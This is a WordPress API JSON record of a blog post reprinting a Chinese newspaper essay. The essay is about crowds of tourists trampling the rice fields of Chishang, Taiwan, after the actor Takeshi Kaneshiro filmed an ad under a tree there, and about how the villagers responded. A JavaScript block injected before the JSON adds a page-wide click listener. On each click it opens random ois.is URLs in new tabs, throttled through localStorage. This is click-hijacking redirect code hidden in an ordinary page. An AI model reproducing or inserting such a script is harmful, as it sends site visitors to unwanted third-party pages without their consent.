<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1199,"date":"2016-03-17T20:35:00","date_gmt":"2016-03-17T12:35:00","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1199"},"modified":"2016-03-17T20:35:00","modified_gmt":"2016-03-17T12:35:00","slug":"%e9%87%91%e5%9f%8e%e6%ad%a6%e9%9b%a2%e5%8e%bb%e5%be%8c%e7%9a%84%e9%82%a3%e6%a3%b5%e6%a8%b9-%e5%8a%89%e5%85%8b%e8%a5%84","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1199","title":{"rendered":"\u91d1\u57ce\u6b66\u96e2\u53bb\u5f8c\u7684\u90a3\u68f5\u6a39-\u5289\u514b\u8944"},"content":{"rendered":"<p style=\"margin: 0pt 0cm 18pt; text-indent: 28pt; line-height: 22pt;\"><b><span style=\"font-size: 14pt; font-family: \u5fae\u8edf\u6b63\u9ed1\u9ad4, sans-serif;\">\u91d1\u57ce\u6b66\u96e2\u53bb\u5f8c\u7684\u90a3\u68f5\u6a39 \u00a0\uff0f\u3000\u5289\u514b\u8944<\/span><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u91d1\u57ce\u6b66\u5728\u6c60\u4e0a\u62cd\u5ee3\u544a\u5f8c\uff0c\u4ed6\u99d0\u8db3\u7684\u90a3\u68f5\u6a39\u4fbf\u83ab\u540d\u5730\u7206\u7d05\u4e86\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u975e\u5047\u65e5\u7684\u4e2d\u5348\uff0c\u6211\u4ee5\u70ba\u4eba\u5c11\uff0c\u6216\u8a31\u662f\u89c0\u770b\u7684\u6700\u4f73\u6642\u6a5f\u3002\u4e8b\u5be6\u4e0d\u7136\u3002\u63a5\u8fd1\u6642\uff0c\u907c\u95ca\u7684\u7a3b\u7530\u88e1\uff0c\u4e00\u9577\u6392\u7684\u8f4e\u8eca\u505c\u9760\u65bc\u4f2f\u6717\u5927\u9053\uff0c\u8a31\u591a\u7d05\u7537\u7da0\u5973\u5728\u8eca\u9663\u9593\u5f98\u5f8a\u3002\u6211\u9084\u7121\u6cd5\u78ba\u5b9a\u662f\u54ea\u4e00\u68f5\uff0c\u537b\u77e5\u9053\u4e0d\u5b9c\u518d\u9760\u904e\u53bb\u4e86\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6c60\u4e0a\u4eba\u5f9e\u672a\u60f3\u5230\uff0c\u77ed\u77ed\u6c92\u5e7e\u79d2\u7684\u5ee3\u544a\uff0c\u4e00\u500b\u96fb\u5f71\u660e\u661f\u9a0e\u8173\u8e0f\u8eca\u7684\u756b\u9762\uff0c\u7adf\u7136\u5e36\u4f86\u9f90\u5927\u7684\u89c0\u5149\u6d6a\u6f6e\u3002\u539f\u672c\u4e00\u5929\u6c92\u591a\u5c11\u8eca\u7684\u5927\u9053\uff0c\u5982\u4eca\u5927\u6e05\u65e9\u90fd\u6709\u6210\u5343\u4e0a\u767e\u7684\u904a\u5ba2\uff0c\u5f9e\u5168\u53f0\uff0c\u4e43\u81f3\u570b\u5916\uff0c\u4e0d\u8fad\u8f9b\u82e6\u5230\u4f86\uff0c\u90fd\u60f3\u8ddf\u91d1\u57ce\u6b66\u4e00\u6a23\uff0c\u5728\u6a39\u4e0b\u6d6a\u6f2b\u5730\u5beb\u610f\u4e00\u756a\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u7576\u904a\u5ba2\u6e67\u9032\uff0c\u5546\u6a5f\u4fbf\u6d6e\u73fe\u3002\u6309\u4e00\u4e9b\u504f\u9060\u5730\u65b9\u7684\u767c\u5c55\uff0c\u5404\u985e\u8ca9\u552e\u98f2\u6599\u6216\u98df\u7269\u7684\u6524\u8ca9\uff0c\u5f80\u5f80\u6703\u722d\u76f8\u9032\u99d0\u3002\u666f\u9ede\u5468\u906d\u4e5f\u8fc5\u901f\u5927\u8208\u5efa\u8a2d\uff0c\u725f\u53d6\u66f4\u591a\u8ca1\u5bcc\u3002\u6c60\u4e0a\u537b\u4e0d\u7136\uff0c\u65e2\u6c92\u72a7\u7272\u8fb2\u5730\uff0c\u95e2\u5efa\u9910\u5ef3\u6216\u505c\u8eca\u5834\uff0c\u540c\u6642\u9084\u52f8\u963b\u6524\u8ca9\u64fa\u8a2d\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5927\u6a39\u5468\u906d\u7e7c\u7e8c\u4fdd\u6301\u539f\u6a23\uff0c\u9023\u500b\u89e3\u8aaa\u724c\u90fd\u4e0d\u8a2d\u7acb\u3002\u6c60\u4e0a\u4eba\u6df1\u77e5\uff0c\u7a3b\u7530\u4e00\u671b\u7121\u57a0\u7684\u907c\u95ca\u666f\u89c0\uff0c\u624d\u662f\u6c38\u7e8c\u7684\u81ea\u7136\u8cc7\u6e90\u3002\u4ee5\u524d\u4e0d\u5e0c\u671b\u96fb\u7dda\u687f\u67b6\u8a2d\u65bc\u7a3b\u7530\u9593\uff0c\u5982\u4eca\u66f4\u4e0d\u53ef\u80fd\u70ba\u4e00\u68f5\u6a39\u800c\u72a7\u7272\u3002\u91d1\u57ce\u6b66\u73fe\u8c61\u53ea\u662f\u66ab\u6642\u7684\uff0c\u5c31\u50cf\u5f35\u541b\u96c5\u5728\u5e73\u6eaa\uff0c\u5929\u68af\u4e4b\u65bc\u7334\u63a2\u4e95\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u53ea\u662f\u904a\u5ba2\u60f3\u9032\u4f86\uff0c\u4ed6\u5011\u7121\u6cd5\u963b\u64cb\u3002\u521d\u59cb\u96d6\u6709\u62db\u724c\u8a2d\u7f6e\u5728\u8def\u53e3\uff0c\u7981\u6b62\u5927\u578b\u7532\u4e59\u7a2e\u8eca\u8f1b\u99db\u5165\uff0c\u4f46\u7e3d\u6709\u4e2d\u5df4\u6216\u5927\u5df4\u9055\u898f\uff0c\u8cbf\u7136\u95d6\u9032\u3002\u65bc\u662f\uff0c\u8352\u8b2c\u7684\u756b\u9762\u51fa\u73fe\u4e86\u3002\u7a3b\u7a57\u6210\u719f\u6642\uff0c\u5c62\u5c62\u88ab\u904a\u5ba2\u8e29\u8e0f\u6216\u62d4\u53d6\u3002\u66f4\u65e9\u7684\u63d2\u79e7\u6642\u7bc0\uff0c\u5927\u9053\u6642\u6709\u8f4e\u8eca\u505c\u6eff\uff0c\u8015\u4f5c\u7684\u6a5f\u5668\u88ab\u963b\u64cb\u65bc\u5916\u3002\u9084\u6709\u91cd\u578b\u6a5f\u8eca\u5718\u968a\uff0c\u7a81\u7136\u8f5f\u9686\u5730\u73fe\u8eab\uff0c\u9a5a\u64fe\u4e86\u6751\u6c11\u7684\u5be7\u975c\u751f\u6d3b\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5927\u6a39\u9644\u8fd1\u7684\u7a3b\u7530\u6700\u53d7\u6ce2\u53ca\uff0c\u5230\u8655\u53ef\u898b\u96a8\u624b\u62cb\u68c4\u7684\u5783\u573e\uff0c\u8fb2\u6c11\u82e6\u4e0d\u582a\u8a00\u3002\u6240\u5e78\uff0c\u9577\u69ae\u822a\u7a7a\u57fa\u65bc\u9053\u7fa9\uff0c\u958b\u59cb\u8a8d\u990a\u74b0\u5883\uff0c\u6a39\u4e0b\u64fa\u7f6e\u4e86\u6614\u6642\u5949\u8336\u7684\u7c21\u55ae\u7897\u5177\u3002\u5728\u5730\u4eba\u66f4\u4e0d\u5fcd\u74b0\u5883\u7834\u58de\uff0c\u5929\u9ed1\u4e86\uff0c\u9084\u6703\u8dd1\u53bb\u64bf\u62fe\u5783\u573e\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u9664\u4e86\u5c0d\u904a\u5ba2\u9053\u5fb7\u52f8\u8aaa\uff0c\u6c60\u4e0a\u4eba\u4e5f\u7e7c\u7e8c\u5c0b\u601d\u8457\uff0c\u5982\u4f55\u898f\u756b\u53cb\u5584\u7684\u8def\u7dda\uff0c\u8b93\u904a\u5ba2\u63a5\u53d7\u9a0e\u55ae\u8eca\uff0c\u6216\u5f92\u6b65\u9032\u4f86\u3002\u66f4\u9032\u800c\uff0c\u85c9\u52e2\u5f15\u5c0e\uff0c\u63a8\u4ecb\u6c60\u4e0a\u7684\u98a8\u7269\uff0c\u9664\u4e86\u7a3b\u7c73\u548c\u4fbf\u7576\uff0c\u9084\u6709\u8af8\u591a\u98a8\u7269\u7279\u8272\uff0c\u4ee5\u53ca\u8015\u4f5c\u502b\u7406\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5225\u7684\u4e0d\u8aaa\uff0c\u5149\u90a3\u68f5\u53eb\u8304\u51ac\u7684\u5927\u6a39\uff0c\u6c60\u4e0a\u7530\u908a\u70ba\u4f55\u7279\u5225\u5e38\u898b\uff1f\u539f\u4f86\u5b83\u7684\u679d\u5e79\u6a6b\u5411\uff0c\u5bec\u8449\u5bc6\u8986\u3002\u8fb2\u6c11\u8015\u4f5c\u75b2\u7d2f\uff0c\u53ef\u5728\u6a39\u4e0b\u7d0d\u6dbc\u4f11\u606f\u3002\u518d\u8005\uff0c\u8449\u5b50\u53ef\u7576\u85e5\u6750\uff0c\u679c\u5be6\u80fd\u98df\u7528\uff0c\u6a39\u6750\u9084\u662f\u8015\u5177\u7684\u4e0a\u6750\u3002\u4e00\u6a39\u591a\u7528\uff0c\u81ea\u662f\u53d7\u5230\u6b61\u8fce\u3002\u6995\u6a39\u6839\u8396\u5584\u65bc\u76e4\u64da\uff0c\u82e6\u695d\u6613\u843d\u8449\uff0c\u7530\u57c2\u65c1\u4fbf\u4e0d\u5bb9\u6613\u51fa\u73fe\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5306\u5306\u4f86\u53bb\u7684\u904a\u5ba2\uff0c\u53ea\u60f3\u4e00\u7779\u5eec\u5c71\u771f\u9762\u76ee\uff0c\u597d\u73a9\u5730\u62cd\u7167\uff0c\u5f80\u5f80\u7121\u6cd5\u4e86\u89e3\u9019\u7a2e\u6a39\u8ddf\u4eba\u7684\u7dca\u5bc6\u95dc\u4fc2\uff0c\u9084\u6709\u8fb2\u6c11\u9577\u671f\u683d\u4f5c\u4e0b\u9818\u609f\u7684\u667a\u6167\u3002\u6c60\u4e0a\u4eba\u8996\u6b64\u6b21\u610f\u5916\u70ba\u8a66\u7149\uff0c\u7e7c\u7e8c\u4fdd\u6301\u5e73\u5e38\u5fc3\uff0c\u4e0d\u6703\u88ab\u773c\u524d\u7684\u5546\u6a5f\u8499\u853d\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5341\u591a\u5e74\u524d\uff0c\u4ed6\u5011\u5df2\u5faa\u5e8f\u6f38\u9032\uff0c\u5c55\u958b\u5730\u65b9\u4eba\u6587\u751f\u614b\u7684\u6478\u7d22\u3002\u81ea\u7136\u6216\u6709\u6a5f\u7a3b\u4f5c\u88ab\u5927\u529b\u63a8\u5ee3\uff0c\u591a\u6a23\u6c11\u5bbf\u6587\u5316\u4ea6\u8208\u8d77\uff0c\u5145\u5206\u5730\u642d\u914d\u81ea\u884c\u8eca\u7684\u6162\u6d3b\u60c5\u5883\u3002\u91d1\u57ce\u6b66\u9a0e\u55ae\u8eca\u7d93\u904e\u7684\u4f2f\u6717\u5927\u9053\u6216\u5929\u5802\u4e4b\u8def\uff0c\u66f4\u4eab\u6709\u540d\u6c23\u3002\u79cb\u6536\u51ac\u85cf\u7684\u5b63\u7bc0\uff0c\u8457\u540d\u85dd\u6587\u5718\u9ad4\u5e38\u88ab\u9080\u5230\u65c1\u908a\u7684\u7530\u9593\u6f14\u51fa\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5c0f\u5c0f\u52d9\u8fb2\u7684\u6c60\u4e0a\uff0c\u5c55\u73fe\u4e86\u6fc3\u90c1\u7684\u4eba\u6587\u6c23\u606f\u3002\u91d1\u57ce\u6b66\u5e36\u4f86\u7684\u89c0\u5149\u6d77\u562f\uff0c\u4e26\u672a\u8b93\u4ed6\u5011\u8ff7\u5931\u6216\u632b\u6557\u3002\u53cd\u800c\u7d93\u7531\u6b64\uff0c\u57f9\u990a\u51fa\u4e00\u500b\u66f4\u5927\u7684\u81ea\u4fe1\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4ed6\u5011\u7e7c\u7e8c\u6709\u8010\u5fc3\u5730\u548c\u904a\u5ba2\u5c0d\u8a71\uff0c\u4e00\u908a\u4e5f\u5728\u7b49\u5f85\uff0c\u9019\u6ce2\u4eba\u6f6e\u7684\u9000\u71d2\u3002\uff08\u4f5c\u8005\u70ba\u81ea\u7136\u751f\u614b\u4f5c\u5bb6\uff09<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-align: right; text-indent: 24pt; line-height: 22pt;\" align=\"right\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u3010<\/span><span>2013-10-24\/<\/span><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u806f\u5408\u5831<\/span><span>\/A19<\/span><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u7248<\/span><span>\/<\/span><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6c11\u610f\u8ad6\u58c7\u3011<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u91d1\u57ce\u6b66\u96e2\u53bb\u5f8c\u7684\u90a3\u68f5\u6a39 \u00a0\uff0f\u3000\u5289\u514b\u8944 \u91d1\u57ce\u6b66\u5728\u6c60\u4e0a\u62cd\u5ee3\u544a\u5f8c\uff0c\u4ed6\u99d0\u8db3\u7684\u90a3\u68f5\u6a39\u4fbf\u83ab\u540d\u5730\u7206\u7d05\u4e86\u3002 \u975e\u5047\u65e5\u7684\u4e2d\u5348\uff0c\u6211\u4ee5\u70ba [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[46,1,60,42,56,62],"tags":[91,89,99],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1199"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1199"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1199\/revisions"}],"predecessor-version":[{"id":1200,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1199\/revisions\/1200"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1199"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1199"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1199"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}